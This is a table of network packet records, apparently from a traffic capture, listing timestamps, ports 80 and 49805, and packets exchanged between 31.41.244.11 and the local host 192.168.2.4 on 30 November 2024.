Nov 30, 2024 18:08:28.315577030 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.315618038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.316396952 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.316437960 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.318193913 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.318229914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.319092035 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.319127083 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.319320917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.319330931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.319355965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.319371939 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.320087910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.320099115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.320132017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.320143938 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.320791006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.320830107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.321173906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.321214914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.321880102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.321916103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.322489977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.322527885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.323093891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.323134899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.323322058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.323368073 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.324421883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.324481964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.324639082 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.324681044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.325550079 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.325613022 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.325774908 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.325860977 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.326812029 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.326879025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.326996088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.327059031 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.327991009 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.328074932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.328236103 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.328274965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.329226971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.329267025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.329435110 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.329493046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.330427885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.330467939 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.330655098 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.330686092 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.331692934 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.331733942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.331887007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.331926107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.332889080 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.332927942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.333098888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.333137035 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.334264994 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.334316015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.334429979 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.334465981 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.335378885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.335421085 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.335553885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.335592031 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.336570978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.336611032 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.336796999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.336834908 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.337824106 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.337884903 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.338057041 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.338094950 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.339026928 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.339066982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.339215040 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.339256048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.340260983 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.340310097 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.340472937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.340513945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.341521025 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.341564894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.341705084 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.341742992 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.342685938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.342737913 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.342885971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.342927933 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.343853951 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.343895912 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.477397919 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.477447033 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.477603912 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.477663994 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.477968931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.478017092 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.478346109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.478384018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.478770971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.478811979 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.478950977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.478987932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.479871035 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.479912996 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.480032921 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.480067968 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.480968952 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.481014013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.481156111 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.481199026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.481952906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.481993914 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.482120037 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.482168913 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.482973099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.483014107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.483171940 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.483213902 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.484031916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.484071016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.484236002 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.484283924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.485105991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.485148907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.485322952 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.485369921 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.486186028 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.486226082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.486390114 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.486429930 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.487216949 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.487257957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.487427950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.487468958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.488250017 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.488292933 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.488466978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.488569021 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.489301920 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.489341974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.489502907 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.489547014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.490367889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.490417957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.490619898 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.490664959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.491432905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.491478920 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.491637945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.491688013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.492495060 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.492538929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.492712021 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.492754936 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.493554115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.493592024 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.493777990 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.493827105 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.494595051 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.494637012 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.494798899 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.494843960 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.495646000 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.495693922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.495862961 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.495904922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.496710062 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.496773958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.496932983 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.496974945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.497766972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.497883081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.497996092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.498047113 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.498817921 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.498861074 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.499026060 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.499068975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.499893904 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.499933958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.500121117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.500163078 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.500929117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.500967979 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.501147032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.501187086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.502027035 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.502078056 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.502217054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.502263069 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.503060102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.503102064 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.503287077 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.503333092 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.504101992 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.504168034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.504307985 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.504347086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.505162954 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.505203962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.505383015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.505424976 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.506236076 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.506279945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.506445885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.506490946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.507283926 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.507328987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.507497072 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.507529974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.508344889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.508394957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.508536100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.508598089 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.509383917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.509428978 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.509589911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.509634018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.510459900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.510528088 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.510668993 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.510710001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.511513948 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.511548042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.511723995 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.511770964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.512567043 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.512607098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.512774944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.512811899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.513617039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.513653994 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.513825893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.513864994 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.514683962 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.514725924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.514889002 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.514930010 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.515755892 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.515810013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.515959978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.516010046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.516834974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.516885042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.517030001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.517067909 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.517841101 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.517888069 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.518038034 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.518084049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.518908024 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.518944979 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.519098997 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.519134998 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.520006895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.520052910 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.520154953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.520198107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.521015882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.521070004 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.521213055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.521261930 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.522075891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.522116899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.522262096 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.522308111 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.523139000 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.523185015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.523353100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.523390055 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.524204969 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.524247885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.524401903 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.524442911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.525271893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.525312901 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.525549889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.525594950 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.526300907 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.526348114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.526494026 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.526535988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.527358055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.527405024 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.527570963 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.527609110 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.528408051 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.528448105 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.528614044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.528660059 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.529484987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.529525042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.529674053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.529750109 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.530559063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.530611038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.530757904 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.530801058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.531618118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.531668901 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.531800032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.531841993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.532628059 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.532670021 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.678720951 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.678903103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.678939104 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.678982973 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.679207087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.679255962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.679555893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.679604053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.680246115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.680299044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.680428028 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.680473089 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.681261063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.681308031 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.681463957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.681509018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.682367086 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.682430029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.682576895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.682621002 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.683391094 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.683434963 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.683587074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.683633089 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.684443951 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.684490919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.684623957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.684670925 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.685513020 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.685559988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.685714006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.685760975 CET	49805	80	192.168.2.4	31.41.244.11
